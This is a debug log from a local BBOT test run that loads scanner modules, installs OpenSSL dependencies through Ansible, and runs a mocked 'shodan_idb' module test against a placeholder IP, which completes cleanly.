14:39:54,812 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk +2026-02-27 14:39:54,813 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk +2026-02-27 14:39:54,814 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk +2026-02-27 14:39:54,814 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk +2026-02-27 14:39:54,815 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk +2026-02-27 14:39:54,816 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk +2026-02-27 14:39:54,818 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk +2026-02-27 14:39:54,819 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk +2026-02-27 14:39:54,820 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk +2026-02-27 14:39:54,821 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk +2026-02-27 14:39:54,823 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk +2026-02-27 14:39:54,824 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk +2026-02-27 14:39:54,825 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk +2026-02-27 14:39:54,826 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk +2026-02-27 14:39:54,827 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk +2026-02-27 14:39:54,828 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk +2026-02-27 14:39:54,829 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk +2026-02-27 14:39:54,831 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk +2026-02-27 14:39:54,832 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk +2026-02-27 14:39:54,833 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk +2026-02-27 14:39:54,834 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk +2026-02-27 14:39:54,835 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk +2026-02-27 14:39:54,836 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk +2026-02-27 14:39:54,839 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk +2026-02-27 14:39:54,840 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk +2026-02-27 14:39:54,841 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk +2026-02-27 14:39:54,844 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk +2026-02-27 14:39:54,845 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk +2026-02-27 14:39:54,846 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk +2026-02-27 14:39:54,847 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk +2026-02-27 14:39:54,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk +2026-02-27 14:39:54,850 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk +2026-02-27 14:39:54,853 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk +2026-02-27 14:39:54,855 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk +2026-02-27 14:39:54,856 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk +2026-02-27 14:39:54,857 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk +2026-02-27 14:39:54,859 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk +2026-02-27 14:39:54,862 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk +2026-02-27 14:39:54,864 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk +2026-02-27 14:39:54,864 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk +2026-02-27 14:39:54,867 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk +2026-02-27 14:39:54,869 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk +2026-02-27 14:39:54,869 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk +2026-02-27 14:39:54,870 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk +2026-02-27 14:39:54,871 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk +2026-02-27 14:39:54,873 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk +2026-02-27 14:39:54,875 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk +2026-02-27 14:39:54,876 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk +2026-02-27 14:39:54,877 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-27 14:39:54,877 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk +2026-02-27 14:39:54,880 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk +2026-02-27 14:39:54,881 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-27 14:39:56,703 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:39:56,703 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:39:56,704 [INFO] bbot base.py:99 Starting shodan_idb module test +2026-02-27 14:39:56,799 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" +2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 14:39:57,318 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 14:39:57,319 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 14:39:57,430 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 14:39:57,430 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 14:39:57,456 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 14:39:57,460 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 14:39:57,460 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-02-27 14:39:58,870 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 14:39:58,871 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 14:40:04,137 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-02-27 14:40:04,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 14:40:04,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 14:40:08,547 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 14:40:08,548 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" +2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:40:08,554 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 14:40:08,554 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb +2026-02-27 14:40:08,621 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" +2026-02-27 14:40:08,621 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) +2026-02-27 14:40:08,621 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 14:40:08,623 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-02-27 14:40:08,624 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-02-27 14:40:08,624 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 14:40:08,624 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-02-27 14:40:08,625 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-02-27 14:40:08,625 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 14:40:08,625 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 14:40:08,627 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 14:40:08,629 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 14:40:08,629 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 14:40:08,630 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) +2026-02-27 14:40:08,630 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 14:40:08,632 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-02-27 14:40:08,632 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 14:40:08,632 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 14:40:08,711 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_gc6u1g45uo +2026-02-27 14:40:08,711 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-02-27 14:40:08,776 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-02-27 14:40:08,776 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 14:40:08,777 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 14:40:08,778 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 14:40:08,878 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-02-27 14:40:08,878 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 14:40:08,880 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 14:40:08,880 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,881 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:40:08,882 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:40:08,882 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 14:40:08,883 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:40:08,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 14:40:08,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:40:08,886 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:40:08,886 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:40:08,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:40:08,888 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 14:40:08,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,890 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 14:40:08,890 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,891 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,891 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-02-27 14:40:08,892 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,908 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': <httpx.AsyncHTTPTransport object at 0x10e41d400>, 'verify': <ssl.SSLContext object at 0x10e46cb90>, 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) +2026-02-27 14:40:08,913 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 14:40:08,979 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET +2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 14:40:08,981 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 14:40:08,982 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED +2026-02-27 14:40:08,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 14:40:08,983 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 14:40:08,983 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-02-27 14:40:08,983 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 14:40:08,984 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None +2026-02-27 14:40:08,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 14:40:09,084 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 14:40:09,084 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-02-27 14:40:09,093 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 14:40:09,094 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 14:40:09,094 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 14:40:09,101 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 14:40:09,101 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-02-27 14:40:09,102 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-02-27 14:40:09,105 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... +2026-02-27 14:40:09,105 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal +2026-02-27 14:40:09,106 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... +2026-02-27 14:40:09,106 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down +2026-02-27 14:40:09,174 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_gc6u1g45uo completed in 0 seconds with status FINISHED +2026-02-27 14:40:09,174 [DEBUG] bbot base.py:113 Finished shodan_idb module test +2026-02-27 14:40:09,174 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:43:27,687 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 14:43:27,694 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 14:43:27,695 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 14:43:27,695 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 14:43:27,696 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 14:43:27,696 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 14:43:27,698 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 14:43:27,698 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 14:43:27,701 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 14:43:27,701 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 14:43:27,702 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 14:43:27,702 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 14:43:27,703 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 14:43:27,704 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 14:43:27,704 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-27 14:43:27,706 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 14:43:27,707 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-27 14:43:27,707 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 14:43:27,708 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-27 14:43:27,708 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 14:43:27,709 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 14:43:27,709 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 14:43:27,711 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 14:43:27,711 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 